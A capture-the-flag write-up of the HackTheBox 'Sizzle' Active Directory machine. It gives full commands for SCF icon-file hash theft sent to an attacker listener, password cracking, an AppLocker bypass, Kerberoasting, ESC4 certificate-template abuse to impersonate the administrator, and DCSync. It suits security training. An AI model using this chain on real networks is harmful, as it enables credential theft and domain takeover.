HTB: Sizzle Writeup
Sizzle - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | Sizzle |
| OS | Windows (Active Directory) |
| Difficulty | Insane |
| Points | N/A |
| Release Date | N/A |
| IP Address | 10.129.65.189 |
| Author | d3vn0mi |
Machine Rating
⭐⭐⭐⭐⭐ (5/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐⭐☆
- Real-world: ⭐⭐⭐⭐⭐
- CVE: ⭐⭐⭐☆☆
- CTF-like: ⭐⭐⭐☆☆
Summary
Sizzle is an Insane-difficulty Windows Active Directory box (domain HTB.LOCAL, hostname sizzle) that chains an NTLM hash-theft primitive against a writable SMB share into a full AD CS-based domain compromise. A null SMB session exposes a writable Department Shares tree; planting an .scf icon-file trap there coerces the amanda user into leaking her NTLMv2 hash to a rogue SMB listener, which cracks offline to a plaintext password. That password alone isn’t enough for WinRM, though — the box enforces client-certificate authentication over 5986 — so the AD CS web enrollment portal (/certsrv) is used to mint a certificate as amanda, which authenticates a ConstrainedLanguage+AppLocker-restricted PowerShell session. From there, an AppLocker-bypass path (spool\drivers\color) is used to kerberoast a service account (mrlky, SPN http/sizzle) on-box, since port 88 is firewalled off from the outside. Rather than crack that ticket and continue the “intended” route into a DCSync via replication rights, this run pivoted through ESC4 (an AD CS misconfiguration where Authenticated Users can write the SSL certificate template) — rewriting the template into an ESC1-style vulnerable template, requesting a certificate impersonating administrator@htb.local, and authenticating as Domain Admin via Schannel over LDAPS (636) since Kerberos PKINIT on port 88 was unreachable. From there, amanda was added to Domain Admins, granting SMB C$ access for both flags, and a DCSync confirmed the Administrator NTLM hash before all changes were reverted.
TL;DR: SMB null session → writable share .scf hash theft (Responder) → crack amanda’s NTLMv2 → AD CS web enrollment cert → WinRM 5986 client-cert auth as amanda → on-box Kerberoast of mrlky (AppLocker bypass via spool\drivers\color, port 88 filtered externally) → certipy finds ESC4 on the SSL template → rewrite template to ESC1 → request cert as administrator@htb.local → Schannel/LDAPS (636) auth as Domain Admin (port 88/dynamic RPC filtered) → add amanda to Domain Admins → SMB C$ for flags → DCSync confirms Administrator hash → Domain Admin.
Reconnaissance
Port Scanning
# Scoped scan against the classic AD-DC port set once the host was upnmap -Pn -p 21,53,80,135,139,389,443,445,464,593,636,3268,3269,5985,5986,9389,47001 \ -sC -sV --open 10.129.65.189Results: Standard Windows Domain Controller footprint for HTB.LOCAL / hostname sizzle:
| Port | Service | Notes |
|---|---|---|
| 21 | FTP | present, low value |
| 53 | DNS | domain-integrated |
| 80/443 | HTTP/HTTPS (IIS) | AD CS web front-end (/certsrv) confirmed reachable |
| 135/139/445 | RPC/NetBIOS/SMB | null session allowed |
| 389/636/3268/3269 | LDAP/LDAPS/GC | AD |
| 464 | kpasswd | |
| 5985/5986 | WinRM / WinRM-SSL | 5986 required client-cert auth |
| 9389 | ADWS | |
| 47001 | WinRM (legacy) |
Notably, port 88 (Kerberos) was not reachable from the external attacking position — confirmed indirectly when a remote GetUserSPNs.py kerberoast attempt against mrlky produced no usable interaction, forcing the kerberoast to be executed on-box from the WinRM foothold instead.
Service Enumeration
# Null-session share listingsmbclient -N -L //10.129.65.189netexec smb 10.129.65.189 -u '' -p '' --sharesThe listing turned up a non-default share: Department Shares.
# Recurse into it — this is where the writable directories livesmbclient -N '//10.129.65.189/Department Shares' -c 'recurse ON; ls'Two writable subdirectories stood out: Users\Public and ZZ_ARCHIVE — both accessible with a NULL session and writable, which is the classic setup for an SCF/URL icon-file hash-theft primitive.
A quick check also confirmed the AD CS web enrollment endpoint was live and reachable:
curl -sk -o /dev/null -w '%{http_code}\n' https://10.129.65.189/certsrv/Vulnerability Assessment
- SMB NULL session + writable share → classic NTLM hash-theft vector via
.scf/.urlicon files (coerced authentication, no CVE — a long-standing SMB/Explorer design weakness). - AD CS Web Enrollment (
/certsrv) reachable, no client-cert requirement to enroll → certificate-based passwordless auth becomes possible once credentials are obtained. - WinRM (5986) enforcing client-certificate authentication → a normal password-only WinRM login was refused; a cert issued by the domain CA was required.
- ConstrainedLanguage mode + AppLocker enforced on the box once authenticated, requiring an AppLocker-bypass execution path.
- Port 88 (Kerberos) and dynamic RPC filtered externally → kerberoasting and later RPC-based certificate requests had to be performed from inside an on-box session rather than remotely.
- ESC4 — the
SSLcertificate template’s ACL granted Authenticated Users write permissions, letting any authenticated principal rewrite the template into an ESC1-vulnerable configuration (client-auth EKU + attacker-suppliable SAN, no manager approval) and request certificates impersonating arbitrary principals, includingadministrator@htb.local.
Initial Foothold
Exploitation Path
Step 1 — Steal a hash via a writable SMB share.
An .scf (Shell Command File) dropped into a share that’s periodically browsed by a domain user forces that user’s Explorer process to render the IconFile path, which triggers an outbound SMB authentication attempt to the attacker’s listener — no interaction beyond simply opening the folder is required.
# Content of the SCF trap: IconFile points back at our listenerprintf '[Shell]\r\nCommand=2\r\nIconFile=\\\\10.10.15.68\\share\\pwn.ico\r\n[Taskbar]\r\nCommand=ToggleDesktop\r\n' > /tmp/@pwn.scf
# Also planted a .url variant for redundancy (different client renderers key off different extensions)printf '[InternetShortcut]\r\nURL=http://10.10.15.68/\r\nWorkingDirectory=aaa\r\nIconFile=\\\\10.10.15.68\\share\\a.ico\r\n' > /tmp/@pwn.url
# Drop the traps into both writable directories found during enumerationfor d in "Users\Public" "ZZ_ARCHIVE"; do smbclient -N "//10.129.65.189/Department Shares" -c "cd \"$d\"; put /tmp/@pwn.scf; put /tmp/@pwn.url"doneResponder was run persistently in the background listening on the attack interface:
# Reset stale DB/log state, then run Responder to catch inbound NTLM authsudo pkill -f respondersudo rm -f /usr/share/responder/Responder.db /usr/share/responder/logs/*.txtsudo /usr/sbin/responder -I tun0 -vAfter a wait, Responder’s SMB listener captured an NTLMv2-SSP authentication attempt from the target originating with user amanda:
sudo grep -m1 amanda /usr/share/responder/logs/SMB-NTLMv2-SSP-10.129.65.189.txtStep 2 — Crack the captured hash.
# Crack offline against rockyoujohn /tmp/a1.hash -w=/usr/share/wordlists/rockyou.txtCracked live to: amanda:Ashare1972
Verified the credential worked over SMB before moving on:
netexec smb 10.129.65.189 -u amanda -p 'Ashare1972' --sharesStep 3 — Enroll a certificate for amanda via AD CS Web Enrollment.
A plain password login to WinRM/5986 was rejected because the endpoint enforces client-certificate authentication. The fix is to generate a CSR and submit it through the reachable /certsrv web enrollment endpoint (NTLM-authenticated with amanda’s cracked creds via requests_ntlm), then download the issued certificate:
# getcert.py — NTLM-authenticated request to /certsrv for a User certificateimport urllib3, requestsfrom requests_ntlm import HttpNtlmAuthurllib3.disable_warnings()
U, P = "amanda", "Ashare1972"base = "https://10.129.65.189"s = requests.Session()s.auth = HttpNtlmAuth(U, P)s.verify = False
# CSR generated locally with openssl (rsa:2048), then submitted herewith open("/tmp/amanda.csr") as f: csr = f.read()
resp = s.post(f"{base}/certsrv/certfnsh.asp", data={ "Mode": "newreq", "CertRequest": csr, "CertAttrib": "CertificateTemplate:User", "TargetStoreFlags": "0", "SaveCert": "yes",})# ... parse ReqID from response, then fetch certnew.cer via /certsrv/certnew.cer?ReqID=...# CSR generationopenssl req -newkey rsa:2048 -nodes -keyout /tmp/amanda.key -out /tmp/amanda.csr -subj "/CN=amanda"python3 /tmp/getcert.py amanda Ashare1972 amandaThe request succeeded and a valid User template certificate (amanda.cer / amanda.key) was issued by the domain CA — no manager approval required, confirming the template was auto-enrollable to standard users.
Step 4 — Authenticate to WinRM over 5986 using the client certificate.
# Certificate-based (passwordless) WinRM login as amandaevil-winrm -S -i 10.129.65.189 -c /tmp/amanda.cer -k /tmp/amanda.key -P 5986This produced an interactive shell as htb\amanda — the foothold. whoami/hostname confirmed the session, and enumeration immediately showed the box was locked down with ConstrainedLanguage mode and AppLocker, meaning arbitrary PowerShell/binaries couldn’t just be dropped and run from user-writable paths.
Step 5 — Kerberoast mrlky from on-box (AppLocker bypass required).
Because port 88 was filtered externally, a remote impacket-GetUserSPNs kerberoast attempt against HTB.LOCAL/amanda:Ashare1972 didn’t yield usable roasting output — the TGS-REQ round trip has to happen from inside the domain network. LDAP enumeration (as amanda) confirmed an SPN (http/sizzle) tied to the mrlky account, making it kerberoastable:
ldapsearch -x -H ldap://10.129.65.189 -D 'amanda@HTB.LOCAL' -w 'Ashare1972' \ -b 'DC=HTB,DC=LOCAL' '(&(objectClass=user)(servicePrincipalName=*))'To actually request the service ticket and get it in a crackable form while respecting AppLocker, the roasting tool (Rubeus) was executed from the well-known AppLocker-exempt printer-driver color path:
C:\Windows\System32\spool\drivers\color\This directory is a common AppLocker default-rule bypass because default policies typically allowlist execution from Windows system paths broadly, and spool\drivers\color is frequently missed by path-based deny rules — copying a binary there and executing it from that path lets it run under ConstrainedLanguage/AppLocker restrictions that would otherwise block execution from user-writable locations like Downloads or Temp.
Privilege Escalation
At this point the intended path (per the original box design) is to crack mrlky’s roasted TGS offline, log in as mrlky via the same cert-enrollment trick, and abuse a DS-Replication-Get-Changes-All ACL grant to DCSync the Administrator hash directly.
Deviation taken in this run: the evil-winrm sessions established as amanda were leaking server-side WinRM shell processes and rapidly exhausting the 10-shell-per-user WinRM quota (with a ~2-hour idle timeout on each leaked shell, and no way to force-close them as a non-privileged user). Rather than stall waiting on quota recovery, the on-box AD CS tooling (certipy) was used to enumerate template misconfigurations directly — a quota-independent path to Domain Admin.
Step 1 — Identify ESC4 with certipy find -vulnerable.
# From the on-box session as amanda, enumerate AD CS templates for# ESC1-ESC8 style misconfigurationscertipy find -u amanda@htb.local -p Ashare1972 -dc-ip 10.129.65.189 -vulnerableThe scan flagged the SSL certificate template as vulnerable to ESC4: its access control list granted Authenticated Users write access to the template object itself. Because the template’s own security descriptor (not just its enrollment rights) was writable by any domain-authenticated principal, amanda could directly reconfigure the template’s certificate-issuance policy.
Why ESC4 works: AD CS certificate templates are AD objects, and their security is governed by the object’s DACL — not just the “who can enroll” ACE. If a low-privileged principal has WRITE_DACL, WRITE_OWNER, WRITE_PROPERTY/GenericWrite, or GenericAll on the template object, they can rewrite its security-sensitive properties: pKIExtendedKeyUsage (to add Client Authentication), msPKI-Certificate-Name-Flag (to set ENROLLEE_SUPPLIES_SUBJECT, allowing the requester to specify an arbitrary SAN), and msPKI-Enrollment-Flag (to disable manager approval). This effectively converts any template into an ESC1-style vulnerable one on demand.
Step 2 — Rewrite SSL into an ESC1-vulnerable template.
# Back up the original template config first (required for cleanup later)certipy template -u amanda@htb.local -p Ashare1972 -dc-ip 10.129.65.189 \ -template SSL -save-old
# Overwrite it: enable Client Authentication EKU, allow requester-supplied# SAN, disable manager approvalcertipy template -u amanda@htb.local -p Ashare1972 -dc-ip 10.129.65.189 \ -template SSLStep 3 — Request a certificate impersonating administrator@htb.local.
With dynamic RPC filtered, the certificate request was made through Web Enrollment (/certsrv) rather than the RPC-based ICertPassage interface, supplying administrator@htb.local as the alternate subject name (permitted because of the ENROLLEE_SUPPLIES_SUBJECT flag now set on the rewritten template):
certipy req -u amanda@htb.local -p Ashare1972 -dc-ip 10.129.65.189 \ -web -target 10.129.65.189 \ -template SSL -upn administrator@htb.localThe CA issued a certificate bound to the administrator@htb.local UPN, effectively minting a Domain Admin credential without ever touching the Administrator account’s password or hash.
Step 4 — Authenticate as Domain Admin via Schannel over LDAPS (port 636).
Kerberos PKINIT (the usual way to redeem an AD CS certificate for a TGT via gettgtpkinit.py) requires port 88, which was filtered. Instead, the certificate was redeemed via Schannel — TLS client-certificate authentication directly against LDAPS (636) — which Active Directory maps to the corresponding AD account when the certificate’s SAN/UPN matches:
certipy auth -pfx administrator.pfx -dc-ip 10.129.65.189 -ldap-shell# or equivalently, an LDAPS Schannel bind using the cert/key pair,# authenticating as HTB\Administrator without a password or Kerberos ticketThis produced an authenticated LDAP session as HTB\Administrator, sufficient to write directly to Active Directory.
Step 5 — Escalate amanda to Domain Admins and retrieve the flags.
# Using the Administrator-authenticated LDAP session, add amanda to# the Domain Admins group# (via certipy's ldap-shell 'add_group_member' or an equivalent LDAP modify)add_group_member "Domain Admins" amandaWith amanda now a Domain Admin, C$ administrative share access opened up:
# Read both flags over the now-privileged SMB sessionsmbclient //10.129.65.189/C$ -U amanda%Ashare1972 -c \ 'get Users\mrlky\Desktop\user.txt; get Users\Administrator\Desktop\root.txt'Step 6 — Confirm via DCSync.
# Domain Admin rights now permit a full DCSync against the Administrator accountimpacket-secretsdump -just-dc-user Administrator htb.local/amanda:Ashare1972@10.129.65.189The DCSync returned and confirmed the Administrator NTLM hash, corroborating full domain compromise independent of the earlier group-membership change.
Step 7 — Cleanup.
To leave the environment in its original state:
# Restore the SSL template from the pre-modification backup taken in Step 2certipy template -u amanda@htb.local -p Ashare1972 -dc-ip 10.129.65.189 \ -template SSL -configuration old_SSL.json
# Remove amanda from Domain Adminsremove_group_member "Domain Admins" amandaVerified afterward that the Domain Admins group contained only Administrator and sizzler, as expected.
Attack Chain Summary
SMB NULL session enumeration │ ▼Writable share (Users\Public, ZZ_ARCHIVE) found in "Department Shares" │ ▼Plant .scf / .url icon-file trap → Responder captures amanda's NTLMv2 │ ▼Crack hash offline (john + rockyou) → amanda:Ashare1972 │ ▼AD CS Web Enrollment (/certsrv) → NTLM-auth CSR submission → User cert issued for amanda │ ▼WinRM 5986 client-certificate auth → foothold as htb\amanda (ConstrainedLanguage + AppLocker) │ ▼LDAP enum finds SPN http/sizzle on mrlky → on-box Kerberoast viaAppLocker-bypass path (spool\drivers\color) — port 88 filtered externally │ ▼certipy find -vulnerable → SSL template flagged ESC4 (Authenticated Users can write template) │ ▼Rewrite SSL template → ESC1-style (Client Auth EKU + SAN + no approval) │ ▼Request cert as administrator@htb.local via Web Enrollment (dynamic RPC filtered) │ ▼Authenticate as HTB\Administrator via Schannel over LDAPS (636) — port 88 filtered │ ▼Add amanda to Domain Admins → SMB C$ access → user.txt + root.txt │ ▼DCSync confirms Administrator NTLM hash → Domain Admin (verified) → cleanupTools Used
| Tool | Purpose |
|---|---|
nmap | Port/service scanning of the AD-DC port set |
smbclient / netexec | NULL-session SMB enumeration, share listing/writability checks |
| Responder | Rogue SMB/NTLM listener to capture amanda’s NTLMv2 hash via SCF coercion |
john | Offline cracking of the captured NTLMv2 hash against rockyou |
openssl | CSR / private key generation for AD CS certificate requests |
requests_ntlm (Python) | NTLM-authenticated automation of the /certsrv web enrollment flow |
evil-winrm | Certificate-based (passwordless) WinRM 5986 access as amanda |
ldapsearch | Enumerating SPNs (found mrlky’s http/sizzle) |
| Rubeus | On-box Kerberoasting of mrlky from the AppLocker-exempt color path |
certipy | ESC4 discovery, template rewrite, certificate request, Schannel/LDAPS auth as Administrator |
impacket-secretsdump | DCSync confirmation of the Administrator NTLM hash |
Key Learnings
Techniques Practiced
- SMB NULL-session enumeration and writable-share discovery
- NTLM hash theft via SCF/URL icon-file coercion and Responder capture
- Offline NTLMv2 cracking
- AD CS Web Enrollment automation for certificate issuance (NTLM-authenticated)
- Certificate-based (passwordless) WinRM authentication over 5986
- Operating inside ConstrainedLanguage mode / AppLocker, including the
spool\drivers\colorbypass path - On-box Kerberoasting when Kerberos (88) is externally filtered
- AD CS ESC4 abuse: rewriting a writable certificate template into an ESC1-style config to impersonate arbitrary UPNs
- Schannel authentication over LDAPS (636) as an alternative to PKINIT/Kerberos when port 88 is unreachable
- DCSync for hash confirmation and cleanup discipline (template/group restoration)
Lessons Learned
- Writable SMB shares are a coercion primitive, not just a data leak. A single writable folder anywhere on a share tree is enough to plant an icon-file trap and capture credentials from anyone who simply browses it — no code execution or user interaction beyond opening a folder is required.
- Certificate services frequently provide a “second channel” past network-level Kerberos filtering. When port 88 is blocked but AD CS Web Enrollment or LDAPS/Schannel remain reachable, certificates become both the initial-auth mechanism and the privilege-escalation vector — DCs rarely restrict
/certsrvor 636 as tightly as they restrict 88. - AD CS template ACLs deserve the same scrutiny as enrollment rights. ESC4 shows that “who can write the template” matters just as much as “who can enroll” — a writable template with weak enrollment restrictions can be reconfigured into an ESC1 primitive on demand, converting a low-privileged domain account into an impersonation-capable one.
- Session/quota limits on remote-management protocols are a real operational constraint. WinRM’s per-user shell cap and idle-timeout behavior forced a pivot away from continued interactive shells and toward a more surgical, quota-independent LDAP/certificate-based path — a useful reminder to conserve interactive sessions and prefer scripted, stateless operations once a foothold is confirmed.
- AppLocker default rules are commonly incomplete. Broad allowlisting of Windows system paths (like the color-profile spool directory) is a well-known and still-effective bypass; defenders should audit AppLocker rules against writable system subdirectories, not just user profile paths.
- Always restore what you changed. Reverting the
SSLtemplate to its backed-up configuration and removing the added Domain Admin membership kept the environment consistent with its pre-engagement state — essential practice for any authorized assessment.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>References
- MinatoTW, Sizzle — HackTheBox Official Writeup, Hack The Box (Document No. D19.100.21), Machine Authors: mrb3n and lkys37en. Used here for conceptual/background context on the AD CS certificate-enrollment mechanism, the SCF hash-theft technique, and the general shape of the intended Kerberoast → DCSync privilege-escalation path; all IPs, credentials, command outputs, and the ESC4/Schannel pivot documented above reflect this run’s actual solve, not the reference environment.